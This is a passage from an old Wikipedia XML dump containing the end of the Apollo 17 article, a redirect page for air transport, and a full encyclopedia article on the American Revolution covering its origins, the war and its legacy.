&quot;As I take man's last step from the surface, back home for some time to come - but we believe not too long into the future &amp;mdash; I'd like to just [say] what I believe history will record. That America's challenge of today has forged man's destiny of tomorrow. And, as we leave the Moon at Taurus-Littrow, we leave as we came and, God willing, as we shall return, with peace and hope for all mankind. Godspeed the crew of Apollo 17.&quot;

:&amp;mdash; Eugene A. Cernan, Apollo 17 Commander. Last man to walk on the moon, [[14 December]] [[1972]].

&quot;Okay, Jack.  Let's get this mother outta here.&quot;

:&amp;mdash; Eugene A. Cernan, Apollo 17 Commander.  Apocryphal last 'informal' words said on the lunar surface, one second before lunar liftoff.

==Media==
{{multi-video start}}
{{multi-video item|filename=Ap17 schmitt falls.ogg|title=Schmitt falls|description=Astronaut [[Harrison Schmitt]] falls while on a moonwalk|format=[[Theora]]}} 
{{multi-video item|filename=Ap17 strolling.ogg|title=Schmitt sings|description=[[Harrison Schmitt]] sings ''I was strolling on the Moon one day''|format=[[Theora]]}} 
{{multi-video item|filename=Ap17-ascent.ogg|title=Apollo 17's Lunar Module blasts off and leaves the moon|description=|format=[[Theora]]}} 
{{multi-video end}}

==References==
* [http://nssdc.gsfc.nasa.gov/nmc/sc-query.html NASA NSSDC Master Catalog]
* [http://nssdc.gsfc.nasa.gov/planetary/lunar/apollo17info.html Apollo 17 Info by NASA]
* [http://history.nasa.gov/SP-4029/Apollo_00a_Cover.htm  APOLLO BY THE NUMBERS: A Statistical Reference by Richard W. Orloff (NASA)]
* [http://www.hq.nasa.gov/office/pao/History/SP-4209/appb.htm Development of Manned Space Flight, American and Soviet NASA SP-4209]
* [http://www.hq.nasa.gov/office/pao/History/SP-4009/cover.htm The Apollo Spacecraft: A Chronology]
* [http://history.nasa.gov/apsr/apsr.htm Apollo Program Summary Report]
* [http://history.nasa.gov/SP-4012/vol3/table2.45.htm Apollo 17 Characteristics - SP-4012 NASA HISTORICAL DATA BOOK]
* [http://www.hq.nasa.gov/alsj/a17/a17.html Apollo 17 entry at Apollo Lunar Surface Journal] - Provides an extensive insight of the mission, along with full transcripts and detailed interviews with the crewmembers.

==External links==
{{commons|Apollo 17}}
* [http://www.astronautix.com/flights/apollo17.htm Apollo 17 entry in Encyclopedia Astronautica]
* [http://magma.nationalgeographic.com/ngm/0407/online_extra.html?c=Newsletters&amp;n=2Q04_Insider2&amp;t=internal September 1973 National Geographic Magazine article]
* [http://sourceforge.net/projects/nassp/ Apollo simulation for Orbiter spaceflight sim]
* [http://moon.google.com Apollo landing Locations at Google Moon]


{{Project Apollo| before=[[Apollo 16]]| after=[[Skylab 1]] &lt;br&gt; [[Skylab 2]]}}

[[Category:Lunar spacecraft]]
[[Category:Human spaceflights]]
[[Category:Apollo program]]
[[Category:1972]]

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[[zh:阿波罗17号]]</text>
    </revision>
  </page>
  <page>
    <title>Air transport</title>
    <id>1972</id>
    <revision>
      <id>15900430</id>
      <timestamp>2003-11-09T05:30:56Z</timestamp>
      <contributor>
        <username>DavidLevinson</username>
        <id>1689</id>
      </contributor>
      <comment>#REDIRECT [[Aviation]] (merge)</comment>
      <text xml:space="preserve">#REDIRECT [[Aviation]]</text>
    </revision>
  </page>
  <page>
    <title>American Revolution</title>
    <id>1973</id>
    <revision>
      <id>42150566</id>
      <timestamp>2006-03-04T03:47:48Z</timestamp>
      <contributor>
        <username>Naconkantari</username>
        <id>676502</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.23.198.165|69.23.198.165]] ([[User talk:69.23.198.165|talk]]) to last version by 129.12.200.49</comment>
      <text xml:space="preserve">The '''American Revolution''' ended two centuries of British rule for most of the North American colonies and created the modern United States of America. The Revolutionary era was both exhilarating and disturbing---a time of progress for some, dislocation for others. In the wake of the Revolution came events as varied as the drafting and ratification of the Constitution of the United States of America and the rebellions of slaves who saw the contrast between slavery and proclamations of liberty. The American Revolution is the series of events, ideas, and changes that resulted in the [[revolution]] and ensuing political separation of [[thirteen colonies]] in [[North America]] from the [[British Empire]] and the creation of the [[United States|United States of America]] with a new political system. The [[American Revolutionary War|American War of Independence]] (1775&amp;ndash;1783) was one part of the revolution, but the revolution by the Americans began before the [[Shot heard 'round the world|first shot]] was fired at [[Battle of Lexington and Concord|Lexington and Concord]] and continued after the British surrender at [[Battle of Yorktown (1781)|Yorktown]]. Years later, in 1818, [[John Adams]] wrote: &quot;The Revolution was effected before the War commenced,&quot; and &quot;The [[Revolution]] was in the minds and hearts of the people.&quot; 

The precise nature and extent of the revolution is a matter of great interpretation. It is generally agreed that the revolution originated around the time of the [[French and Indian War]] (1754&amp;ndash;1763), and ended with the election of [[George Washington]] as the first [[President of the United States]] in 1789. Beyond that, interpretations vary. At one end of the spectrum is the view that the American Revolution was not &quot;revolutionary&quot; at all, that it did not radically transform colonial society, but 'simply replaced a distant government with a local one'. The opposite view is that the American Revolution was a unique and radical event, producing significant changes that had a profound impact on world history. Most current interpretations fall somewhere in between these two positions.
[[Image:map of territorial growth 1775.jpg|thumb|300px|Before the Revolution: The [[13 colonies]] are in red, the pink area was claimed by Great Britain after the [[French and Indian War]], and the orange region was claimed by [[Spain]]. Note that this map does not show the bulk of [[British North America]] of that time.]]

==Origins==
In the early 1760's, [[Kingdom of Great Britain|Great Britain]] possessed a [[British North America|vast empire]] on the North American continent. In addition to the thirteen British colonies, victory in the [[Seven Years' War]] had given Great Britain claim over [[New France]] ([[Canada]]), [[History of Florida|Spanish Florida]], and the [[Native Americans in the United States|Native American]] lands east of the [[Mississippi River]]. A war against France's former Indian allies&amp;mdash;[[Pontiac's Rebellion]]&amp;mdash;had, if not conquered, at least 'pacified' the western frontier. At this time, most white colonists in America considered themselves loyal subjects of the British Crown, with the same rights and obligations as Englishmen in Britain.

===Philosophy and radical thought=== 
[[The Enlightenment]] elevated [[natural philosophy]], and began to replace arguments born of tradition and authority with those based upon observation and independent reasoning. The implications of the earlier [[scientific revolution]] began to have a greater effect on everyday life and in the conscious thought of men everywhere. Increased publication and communications between like-minded people opened up new areas to question and consideration. The early works of thinkers like [[John Locke]] became the analysis of men like [[Charles de Secondat, Baron de Montesquieu|Montesquieu]]. The [[Deism|deist]] views of several of the [[Founding Fathers of the United States]], and their views on the proper form of government have roots in this European Enlightenment, and were a source for ideas regarding [[separation of church and state]] and other liberties. In addition, the ideas of &quot;[[social contract]]&quot; and &quot;[[natural rights]]&quot;, espoused by [[John Locke]], formed the basis of political reasonings.

===Road to rebellion===
After the [[French and Indian War]] and Pontiac's Rebellion, the British government sought to overhaul its expansive North American possessions. In order to make the Empire more stable and profitable, new economic and land distribution policies were implemented. Specifically, the new British policies included the understandable desire of the crown that the colonists would shoulder a greater share of the burdens of war and the cost of their own defense, as well as the curtailment of smuggling with the colonies of the West Indies, the payment of royal tariffs and the exclusive with the British homeland.

===Economic disputes, 1760-70 ===
King George wanted the colonists' money. The British national debt had risen to alarming levels during the war years and so in 1760 [[the Crown]] began a series of economic initiatives designed to extract more revenue from the colonies. These policies were 'justifiable', the reasoning went, because the colonists were enjoying the benefits of the peace that had been won. 
[[Image:James Otis.gif|thumb|right|100px|James Otis]]
In theory, Great Britain already [[mercantilism|regulated the economies]] of the colonies through the [[Navigation Acts]], but widespread evasion of these laws had long been tolerated. Now, through the use of open-ended search warrants ([[Writs of Assistance]]), strict enforcement became the practice. In 1761, Massachusetts lawyer [[James Otis]] argued that the writs violated the [[Constitution of the United Kingdom|constitutional rights]] of the colonists. He lost the case, but [[John Adams]] later wrote, &quot;American independence was then and there born.&quot;

In 1763, [[Patrick Henry]] argued the [[Parson's Cause]] case.  Clerical pay had been tied to the price of tobacco by Virginia legislation.  When the price of tobacco skyrocketed after a bad crop in 1758, the [[House of Burgesses|Virginia legislature]] passed the Two-Penny Act to stop clerical salaries from inflating as well.  In 1763, [[George III of the United Kingdom|King George III]] vetoed the Two-Penny Act. Patrick Henry defended the law in court and argued &quot;that a King, by disallowing Acts of this salutary nature, from being the father of his people, degenerated into a Tyrant and forfeits all right to his subjects' obedience.&quot;

In 1764, [[British Prime Minister]] [[George Grenville]]'s [[Sugar Act]] and [[Currency Act]] created economic hardship in the colonies. Protests led to the boycott of British goods, and to the emergence of the popular slogan &quot;[[no taxation without representation]],&quot; in which colonists argued that only their colonial assemblies, and not [[Parliament of the United Kingdom|Parliament]], could levy taxes on them. [[Committee of correspondence|Committees of correspondence]] were formed in the colonies to coordinate resistance to paying the taxes. In previous years, the colonies had shown little inclination towards collective action. Grenville's policies were bringing them together.

A milestone in the Revolution occurred in 1765, when Grenville passed the [[Stamp Act 1765|Stamp Act]], as a way to finance the quartering of troops in North America. The Stamp Act required all legal documents, permits, commercial contracts, newspapers, pamphlets, and playing cards in the colonies to carry a [[stamp duty|tax stamp]].

Colonial protest was widespread. Secret societies known as the [[Sons of Liberty]] were formed in every colony, and used [[propaganda]], intimidation, and mob violence to prevent the enforcement of the Stamp Act. The furor culminated with the &quot;[[Stamp Act Congress]]&quot;, which sent a formal protest to Parliament in October of 1765. Parliament responded by repealing the Stamp Act, but pointedly [[Declaratory Act|declared its legal authority]] over the colonies &amp;#8220;in all cases whatsoever.&amp;#8221;

[[Image:Boston Massacre.jpg|300px|right|thumb|This exaggerated depiction of the &quot;[[Boston Massacre]]&quot; by [[Paul Revere]] was designed to inflame opposition to the military occupation of Boston.]]

The sequel to the Stamp Act was not long in coming. In 1767, Parliament passed the [[Townshend Acts]], placing taxes on a number of common goods imported into the colonies, including glass, paint, lead, paper, and tea. In response, colonial leaders organized boycotts of these British imports.  On [[June 10]], [[1768]], the ''Liberty'', a ship belonging to colonial merchant [[John Hancock]] and suspected of smuggling, was seized by customs officials in [[Boston, Massachusetts|Boston]]. Angry protests on the street led customs officials, fearing for their safety, to report to London that Boston was in a state of insurrection.

British troops began to arrive in Boston in October of 1768. Tensions continued to mount; culminating in the &quot;[[Boston Massacre]]&quot; on [[March 5]], [[1770]], when British soldiers of the [[29th Regiment of Foot]] fired into an angry mob, killing five. Revolutionary agitators, like [[Samuel Adams]], used the event to stir up popular resistance, but, after the trial of the soldiers, who were defended by [[John Adams]], tensions diminished.

The Townshend Acts were repealed in 1770, after much colonial protest, and it was still theoretically possible that further bloodshed in the colonies might be avoided. However, the British government had left one tax from the Townshend Acts in place as a symbolic gesture of their right to tax the colonies&amp;mdash;the tax on tea. For the revolutionaries, who stood firm on the principle that only their colonial representatives could levy taxes on them, it was still &quot;one tax too many&quot;. This resulted in the [[Boston Tea Party]].

===Western land dispute===
The [[British Royal Proclamation of 1763|Proclamation of 1763]] sought to limit the conflicts between [[Native Americans in the United States|Native American]]s and the English settlers by restricting settlement west of the [[Appalachian Mountains]]. However, groups of settlers, led for example by [[Daniel Boone]], continued to move into the region beyond the Proclamation Line and fought with the [[Shawnee]]s and other peoples inhabiting the area. Furthermore, the [[Quebec Act]] of 1774, extended [[Quebec]]'s boundaries to the [[Ohio River]], reestablished [[Civil Code of Quebec#Under the British Empire|French civil law]], and instituted toleration for [[Roman Catholic]]s in that territory, an action which horrified some colonials, who had come to New England to establish their own [[protestant]] sects.  Proposals to post British regulars to man forts in the west further disquieted Americans eager to occupy Indian land.

===Crises, 1772-75===
While there were many causes of the American Revolution, it was a series of specific events, or crises, that finally triggered the outbreak of war.    

[[Image:Gaspee Affair.jpg|thumb|left|150px|Burning of the ''Gaspee'']]

The first of these was the [[Gaspée Affair]]. The ''HMS Gaspée'', a British ship that had been vigorously enforcing unpopular trade regulations (the [[Navigation Acts]]), ran aground on [[June 9]], [[1772]], off of [[Narragansett Bay]] in [[Rhode Island]], while chasing the packet boat ''Hannah''. In an act of defiance that gained considerable notoriety, the ship was attacked, boarded, stripped of valuables and torched by American patriots, who later denied knowing about the entire affair.

[[Image:Boston tea party.jpg|thumb|right|200px|This 1846 lithograph has become a classic image of the Boston Tea Party.]]

The next crisis was a result of the so-called &quot;[[Tea Act]]&quot;, passed by the British Parliament in 1773.  This act allowed the [[British East India Company]] to sell [[tea]] to the [[Thirteen Colonies|British colonies]] without the usual colonial [[tax]], thereby allowing it to undercut the prices of the colonial merchants. To help pay for its colony in [[India]], the British government intended to give the [[British East India Company|East India Company]] a [[monopoly]] on tea imports to the colonies; this, however, backfired. Because many American merchants earned their living from [[smuggling]], this act would take away their livelihood. The result was widespread [[boycott]]s of tea throughout the colonies, and, eventually, to the [[Boston Tea Party]] where American colonists, believed to be the [[Sons of Liberty]], dressed up like Indians and threw crates of tea from the [[British East India Company|East India Company]] ships into the [[Boston Harbor]]. 

The [[Intolerable Acts]], called by the British the &quot;Coercive Acts&quot; or &quot;Punitive Acts&quot;, were a series of laws, passed by the [[British Parliament]] in 1774, in response to the growing unrest in the thirteen [[Thirteen Colonies|American colonies]], particularly in [[Boston, Massachusetts]] with its [[Boston Tea Party]]. Enforcement of the Acts played a major role in the outbreak of the [[American Revolutionary War]] and the establishment of the [[Continental Congress|First Continental Congress]]. 

The Intolerable Acts included:
*[[Massachusetts Government Act]]	 
*[[Administration of Justice Act]]	 
*[[Boston Port Act]]	 
*[[Quartering Act]]

The [[First Continental Congress]] was convened in 1774 in [[Philadelphia, Pennsylvania]] and endorsed the [[Suffolk Resolves]], which declared the Intolerable Acts to be unconstitutional, called for the people to form [[militia]]s, and for [[Massachusetts]] to form a Patriot government. 

In response, primarily to the Massachusetts Government Act, the inhabitants of Worcester, Massachusetts set up an armed picket line in front of the local courthouse and refused to allow the British magistrates to enter.  The magistrates, faced with over 1500 armed men, did not attempt to force entry.  Thereafter, the town of Worcester largely governed itself.  Similar events occurred, soon after, all across the colony. British troops were sent from England, but, by the time they arrived, the entire colony of Massachusetts, with the exception of the heavily garrisoned city of Boston, had thrown off British control of local affairs.

The [[Battles of Lexington and Concord|Battle of Lexington and Concord]] were the first [[battle]]s of the [[American Revolutionary War]].  They were fought on [[April 19]], [[1775]] in [[Province of Massachusetts Bay|Massachusetts]] within the towns of [[Lexington, Massachusetts|Lexington]], [[Concord, Massachusetts|Concord]], [[Lincoln, Massachusetts|Lincoln]], [[Arlington, Massachusetts|Menotomy]], and [[Cambridge, Massachusetts|Cambridge]]. The battles marked the outbreak of open [[war]] between [[Kingdom of Great Britain|Great Britain]] and the colonies and are known as the &quot;[[shot heard 'round the world]].&quot;  

The [[Second Continental Congress]] convened in 1775, after the war had started. 
While creating the [[Continental Army]], it also extended the [[Olive Branch Petition]] to the crown as an attempt at reconciliation. King [[George III of the United Kingdom|George III]] refused to receive it, leaving the American Patriots no other choice but to wage war against Britain to achieve their Independence.

[[Image:joinordie.png|thumb|250px|This [[political cartoon]] (attributed to [[Benjamin Franklin]]) originally appeared during the [[French and Indian War]], but was recycled to encourage the American colonies to unite against British rule.]] 

The American revolutionaries, known as [[Patriot (American Revolution)|Patriot]]s (or Whigs or rebels), included many shades of opinion. [[Alexander Hamilton]], [[John Jay]] and [[George Washington]] represented a socially conservative faction that would later take shape as the [[Federalist party]] and are traditionally characterized as preoccupied with preserving the wealth and power of the &quot;better sorts&quot; of colonial society. [[Thomas Jefferson]], [[James Madison]], [[Benjamin Franklin]] and [[Thomas Paine]] are usually portrayed as representing the less economically affluent side of society, accepting greater political equality.  After the revolution, some of these men would become known as the &quot;[[anti-federalists]]&quot; who, led by [[George Mason]], considered the [[Constitution of the United States]] to be a dangerously flawed document, one which would cause greater tyranny than either the British [[Parliament]] or the [[British Crown]] had.

A great many American colonists remained loyal to the British Crown; these became known as [[Loyalist (American Revolution)|Loyalist]]s (or 'Tories', or 'King's men'). Loyalists were often of the same well-to-do social circles that produced the right wing of the Patriots (for example [[Thomas Hutchinson]]); however, the Scottish highlanders of the [[Mohawk Valley]] and the frontiersmen of [[Province of Georgia|Georgia]] included a large number of poorer men. Some Loyalists were [[Native Americans of the United States|Native Americans]], including [[Joseph Brant]], who led a mixed band of Indians and white farmers and laborers in the Loyalist cause; others were [[black Loyalist]]s.

After the war, [[United Empire Loyalists]] became a central component of the populations of the [[Abaco]] islands (in the [[Bahamas]]), and the [[Canada|Canadian]] provinces of [[New Brunswick]] and [[Ontario]], where many of them fled to escape persecution in the new United States.  Some of the African Americans, who had been freed from slavery by fighting for the British, were settled in [[Freetown]], [[Sierra Leone]].

===Loyalists and Neutrals===
Main article [[Loyalist (American Revolution)]]

Some British North American colonists remained loyal subjects of the British crown during the American Revolution. They included those who were not convinced by the political arguments of the Patriots.They were called Loyalists (also called Tories or &quot;King's Men&quot;). 

From an American perspective, the Loyalists were traitors who turned against their fellow citizens and collaborated with the enemy, while Loyalists themselves considered the American rebels the traitors.

Loyalists took some part in fighting, especially near Canada. 70,000 left the 13 colonies during or after the war. About 45,000 later settled in Canada, which they profoundly influenced. 

In addition, a vast number of colonists in the thirteen colonies, perhaps over half, chose to stay neutral in the highly political American Revolution. While patriots undoubtedly outnumbered loyalists, the neutrals probably outnumbered both groups.

===Class differences among the Patriots===
Just as there were rich and poor Loyalists, the Patriots were a 'mixed lot', and often had different aims for the revolution.  Wealthy Patriots viewed independence as a means of freeing themselves from British taxation and limitations on taking western land, but had every intention of remaining in control of the resulting nation.  Many craftsmen, small merchants and small farmers, however, were looking at independence as a means of reducing the power and privilege of the elite. Wealthy Patriots knew that they needed the support of the lower classes, but were fearful of their more radical democratic aims. John Adams (an elite more by education than by wealth) attacked Thomas Paine's ''[[Common Sense]]'' for the &quot;absurd democratical notions&quot; it proposed.

===Women===
[[Image:Abigail Adams.jpg|left|thumb|120px|[[Abigail Adams]].]]

The boycott of British goods would have been entirely unworkable without the willing participation of American women: women made the bulk of household purchases, and the boycotted items were largely household items such as tea and cloth.  And as cloth was still a basic necessity, for the boycott to work, women would have to return to spinning and weaving, skills that had fallen into disuse. In 1769, the women of Boston produced 40,000 skeins of yarn, and 180 women in Middletown, Massachusetts wove 20,522 yards of cloth.

As the Revolution progressed and economic disruption deepened, women participated directly in the food riots and [[tar and feather]]ing that was the people's response to price gouging by merchants, Loyalist and Patriot alike.  On [[August 24]], [[1777]], [[Thomas Boyleston]], a Patriot merchant who was withholding coffee and sugar from the market waiting for prices to rise, was confronted by a crowd of 100 or more women, who seized the keys to his warehouse and distributed the coffee themselves while a large crowd of men stood by and watched, dumbfounded.

===Writing the state constitutions===
By 1776, the colonies had overthrown their existing government, closing courts and driving British agents and governors from their homes, and they had elected conventions and &quot;legislatures&quot; that existed outside of any legal framework whatsoever&amp;mdash; new constitutions were desperately needed in each colony to replace the superseded royal charters.

On [[January 5]], [[1776]], [[New Hampshire]] ratified the first state constitution, six months before the signing of the [[Declaration of Independence]]. Then, in May 1776, Congress voted to suppress all forms of crown authority, to be replaced by locally created authority.  [[Virginia]], [[South Carolina]], and [[New Jersey]] created their constitutions before July 4.  [[Rhode Island]] and [[Connecticut]] simply took their existing [[royal charter]]s and deleted all references to the crown.

The new states had to decide not only what form of government to create, they first had to decide how to select those who would craft the constitutions and how the resulting document would be ratified.  This would be just the start of a process that would pit conservatives against radicals in each state.  In states where the wealthy exerted firm control over the process, such as [[Maryland]], [[Virginia]], [[Delaware]], [[New York]] and [[Massachusetts]], the result was constitutions that featured: 
*substantial property qualifications for voting and even more substantial requirements for elected positions (though New York and Maryland lowered property qualifications);
*[[bicameral legislature]]s, with the upper house as a check on the lower;
*strong governors, with [[veto]] power over the legislature and substantial appointment authority;
*few or no restraints on individuals holding multiple positions in government;
*the continuation of state-established religion.

In states where the less affluent had organized sufficiently to have significant power, especially [[Pennsylvania]], [[New Jersey]], [[New Hampshire]] and [[Vermont]], the resulting constitutions embodied:

*universal white manhood suffrage, or minimal property requirements for voting or holding office (New Jersey went so far as to enfranchise women, a radical step that they retracted 25 years later);
[[Image:Benjamin_Rush_Painting_by_Peale_1783.jpg|140px|thumb|Dr. [[Benjamin Rush]], 1783]]
*strong, [[Unicameralism|unicameral legislatures]];
*relatively weak governors, without veto powers, and little appointing authority;
*prohibition against individuals holding multiple government posts;
*disestablishment of religion.

Naturally, the fact that conservatives or radicals held sway in a state did not mean that the side with less power accepted the result quietly.  In Pennsylvania, the propertied class was horrified by their new constitution ([[Benjamin Rush]] called it &quot;our state dung cart&quot;), while in Massachusetts, voters twice rejected the constitution that was presented for ratification; it was ultimately ratified only as a result of the legislature tinkering with the third vote.  The radical provisions of Pennsylvania's constitution were to last only fourteen years&amp;mdash; in 1790, conservatives gained power in the state legislature, called a new constitutional convention, and wrote a new constitution that substantially reduced universal white-male suffrage, gave the governor veto power and patronage appointment authority, and added an upper house with substantial wealth qualifications to the unicameral legislature.  Thomas Paine called it a constitution unworthy of America.

==War for independence, 1775-83==
[[image:commonsense.jpg|thumb|right|180px|Common Sense by Thomas Paine]]
[[Image:Yorktown80.JPG|thumb|right|280px|The Battle of Yorktown was the last major battle of the American Revolutionary War. It ended with the surrender of British forces.]]
''Main article: [[American Revolutionary War]]''

On January 10, 1776, [[Thomas Paine]] published a pamphlet entitled ''[[Common Sense]]'' arguing that the only solution to the problems with Britain was [[Republicanism]] and independence from Great Britain. 

On July 4, 1776, the [[United States Declaration of Independence]] was ratified by the [[Second Continental Congress]].

The '''Articles of Confederation and Perpetual Union''', commonly known as the '''[[Articles of Confederation]]''', formed the first governing document of the [[United States|United States of America]]. They combined the colonies of the [[American Revolutionary War]] into a loose [[confederation]] of sovereign [[states]]. The second [[Continental Congress]] adopted the Articles on November 15, 1777.

==America after the war==
The American Revolution saw several noteworthy political innovations: the [[separation of church and state]], which ended the special privileges of the [[Church of England]]  in the South and the [[Congregationalist]] Church in [[New England]]; an assertion of liberty, individual rights and equality which would prove highly appealing in Europe; the idea that government should be by consent of the governed (including the right of rebellion against tyranny); the delegation of power to the government through written constitutions; and the notion that colonial peoples of the Americas could become self-governing nations in their own rights.

All was not well, however, in the new nation. 

The [[Shays Rebellion]] was an armed uprising in [[Western Massachusetts]] that lasted from 1786 to 1787.  Many of the rebels, known as [[Shaysites]] or Regulators, were small farmers angered by high debt and tax burdens. A state [[militia]] that had been raised as a private army defeated the Shaysites.  The lack of a government force to respond to the uprising led some to re-evaluate of the effectiveness of the [[Articles of Confederation]]. 

The [[Treaty of Paris (1783)]] had given the U.S. government control, on paper, of all land east of the [[Mississippi River]] and south of the [[Great Lakes]], but the Native American nations actually living in this region were not a party to this treaty and had not been militarily defeated by the Patriots. Further, the British remained in possession of the Great Lakes forts through which they continued to supply their Native American allies with trade items (including weapons) and to otherwise stir up trouble for Americans. 

Then, Congress sought to stabilize the dollar and pay down its war debt through the sale of western lands still under Native American control. The [[Land Ordinance of 1785]] gave encouragement to land speculators, surveyors, and so on, who sought to gain this land-- sometimes through bribery or deceit--for resale to white settlers. Congress negotiated a treaty with Native Americans in 1785 to acquire most of the eastern portion of [[Ohio Country]] for settlement.  However, settlers were already moving into land that the treaty set aside for the tribes.  Conflict soon broke out, as the [[Northwest Indian War]].  Due to the lack of an army under the Confederation government, Congress was unable to successfully fight the tribes.  

These events and others led the Continental Congress to support the [[Philadelphia Convention]] in [[1787]], leading to the creation of a new central government that lasts to this day in the United States.

==The impact on British North America==
For tens of thousands of inhabitants of the Thirteen Colonies, the victory of the revolutionaries was followed by exile. Approximately fifty thousand [[United Empire Loyalists]] fled to the remaining British colonies in North America, such as the [[Province of Quebec (1763-1791)|Province of Quebec]], (concentrating in the [[Eastern Townships]]), [[Upper Canada]] (now known as [[Ontario]]), and [[Prince Edward Island]] and [[Nova Scotia]] (where their presence would result in the creation of [[New Brunswick]]). This exodus sowed the seeds for the French-English duality in British North America, arguably the most prominent political and cultural feature of what would one day become [[Canada]].

==Revolution beyond America==
The American Revolution was the first wave of the [[Atlantic Revolutions]] that would also take hold in the [[French Revolution]], the [[Haitian Revolution]], and the [[Bolívar's War|Latin American wars of liberation]]. [[Aftershock]]s would also be felt in [[Ireland]] in the [[Irish Rebellion of 1798|1798 rising]], in the [[Polish-Lithuanian Commonwealth|Polish-Lithuanian Commonwealth]], and in the [[Netherlands]]. 

The Revolution had a strong immediate impact in Great Britain, Ireland, the Netherlands, and France. Many British and Irish [[Whig]]s had been openly indulgent to the Patriots in America, and the Revolution was the first lesson in politics for many European radicals who would later take on active roles during the era of the [[French Revolution]].  Jefferson's Declaration had [http://chnm.gmu.edu/revolution/chap3a.html an immediate impact] on the French [[Declaration of the Rights of Man and the Citizen]] of 1789. 

The American Revolution affected the rest of the world. The thinkers of the [[Enlightenment]] only wrote that common people had the right to overthrow unjust governments. The American Revolution was a case of practical success, which provided the rest of the world with a 'working model'.

The American Revolution set an example to the people in Europe and other parts of the world. It encouraged the people to realize they had rights independent of the sovereign; it promoted republicanism to overthrow monarchs.  It incited people to fight for their rights, and it showed them that it was possible to win even against the world's foremost power, Great Britain. 

Nowhere was the influence of the American Revolution more profound than in Latin America, where American writings and the model of colonies, which actually broke free and thrived decisively, shaped their struggle for independence. Historians of Latin America have identified many links to the U.S. model .  See 
[http://books.google.com/books?ie=UTF-8&amp;hl=en&amp;id=0QghsDsSCB4C&amp;pg=PA45&amp;lpg=PA45&amp;dq=jefferson&amp;prev=http://books.google.com/books%3Fq%3Djefferson%2Bindependence%2Blatin%2Bamerica&amp;sig=v0afdyhrNgB42XLqhBEB9IQhCDU  John Lynch, &quot;The Origins of Spanish American Independence,&quot; in ''Cambridge History of Latin America'' Vol. 3 (1985), pp 45-46]

==Legacy and interpretations==
The American Revolution is often cited as a milestone in the history of [[American Exceptionalism]]. The [[intellectual]]s of the Revolution ([[Thomas Paine]]'s ''[[Common Sense]]'' is most likely the best example) for the first time expressed the belief that America was not just an extension of Europe but a new land, a country of nearly unlimited potential and opportunity that was being abused by the British mother country they had outgrown. These sentiments laid the intellectual foundations for the Revolutionary concept of American exceptionalism and was closely tied to [[Republicanism]], the belief that sovereignty belonged to the people, not to a hereditary ruling class.

==See also==
*[[British colonization of the Americas]]
*[[Founding Fathers of the United States]]
*[[Industrial Revolution]]
*[[List of important people in the era of the American Revolution]]
*[[Second American Revolution]]
*[[Timeline of United States revolutionary history (1760-1789)]]
*[[List of Continental Forces in the American Revolutionary War]]

==Scholarly Secondary Sources== 
:*Bailyn, Bernard. ''The Ideological Origins of the American Revolution.'' Harvard University Press, 1967. ISBN 0674443012.
:*Boatner, Mark Mayo, III. ''Encyclopedia of the American Revolution.'' New York: McKay, 1966; revised 1974. ISBN 0811705781.
:*[http://www.questia.com/PM.qst?a=o&amp;d=104464395 Crow, Jeffrey J. and Larry E. Tise. ''The Southern Experience in the American Revolution'' (1978)]
:*Higginbotham, Don. ''The War of American Independence: Military Attitudes, Policies, and Practice, 1763-1789'' (1983) Online in ACLS History E-book Project; best overview of military topics
:*[http://www.questia.com/PM.qst?a=o&amp;d=9503720 Lecky, William Edward Hartpole. ''The American Revolution, 1763-1783'' (1898)], British viewpoint
:* McCullough, David. ''1776'' (2005).
:*[http://www.questia.com/PM.qst?a=o&amp;d=55002630  Mackesy, Piers. ''The War for America: 1775-1783'' (1992)] British viewpoint. 
:*[http://www.questia.com/PM.qst?a=o&amp;amp;d=84633736 Middlekauff, Robert. '' The Glorious Cause: The American Revolution, 1763-1789'' (1985)]
:*[http://www.questia.com/PM.qst?a=o&amp;d=14559136 Miller, John C. ''Triumph of Freedom, 1775-1783'' (1948)], excellent overview
:*[http://www.questia.com/PM.qst?a=o&amp;d=493014 Miller, John C. ''Origins of the American Revolution'' (1943)]
:*[http://www.questia.com/PM.qst?a=o&amp;d=8875493 Morison, S. E. ed. ''Sources and Documents Illustrating the American Revolution, 1764-1788, and the Formation of the Federal Constitution'' (1923)]
:*Nash, Gary B. ''The Unknown American Revolution: The Unruly Birth of Democracy and the Struggle to Create America''. (2005). ISBN 0670034207.
:* Purcell, L. Edward. &quot;Who Was Who in the American Revolution&quot; (1993)
:*[http://www.questia.com/PM.qst?a=o&amp;d=10268028 Van Tyne, Claude Halstead. ''American Loyalists: The Loyalists in the American Revolution'' (1902)]
:*[http://www.questia.com/PM.qst?a=o&amp;d=106799260 Volo, James M. and Dorothy Denneen Volo. ''Daily Life during the American Revolution'' (2003)]
:*[http://www.questia.com/PM.qst?a=o&amp;d=3566256 Wahlke, John C. ed. ''The Causes of the American Revolution'' (1967)]
:*[http://www.questia.com/PM.qst?a=o&amp;d=72423772 Wrong, George M. ''Washington and His Comrades in Arms: A Chronicle of the War of Independence'' (1921)] short overview
:* Wood, Gordon S. ''The Radicalism of the American Revolution: How a Revolution Transformed a Monarchical Society into a Democratic One Unlike Any That Had Ever Existed''.  Alfred A. Knopf, 1992. ISBN 0679404937.

== External links ==
*[http://www.americanrevolution.com The American Revolution at americanrevolution.com] - historical information, documents, pictures, and more
*[http://www.pbs.org/ktca/liberty/ PBS Television Series]

[[Category:American Revolution]]
[[Category:Rebellions in the United States]]
[[Category:The Enlightenment]]
[[Category:Revolutions]]

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[[da:USA's uafhængighedskrig]]
[[de:Amerikanische Unabhängigkeitsbewegung]]
[[eo:Usona Revolucio]]
[[es:Guerra de la Independencia de los Estados Unidos]]
[[fi:Amerikan vallankumous]]
[[fr:Guerre d'indépendance des États-Unis d'Amérique]]
[[ga:Cogadh Réabhlóideach Mheiriceá]]
[[he:מלחמת העצמאות של ארצות הברית]]
[[id:Perang Revolusi Amerika]]
[[is:Bandaríska frelsisstríðið]]
[[it:Guerra di indipendenza americana]]
[[ja:アメリカ独立戦争]]
[[ko:미국 독립전쟁]]
[[nl:Amerikaanse Onafhankelijkheidsoorlog]]
[[pl:Rewolucja ameryka&amp;#324;ska]]
[[pt:Guerra da Independência dos Estados Unidos da América]]
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[[sv:Amerikanska revolutionen]]
[[zh:&amp;#32654;&amp;#22283;&amp;#38761;&amp;#21629;]]</text>
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  <page>
    <title>April 17</title>
    <id>1974</id>
    <revision>
      <id>42075364</id>
      <timestamp>2006-03-03T17:30:35Z</timestamp>
      <contributor>
        <ip>63.80.167.195</ip>
      </contributor>
      <comment>/* Births */</comment>
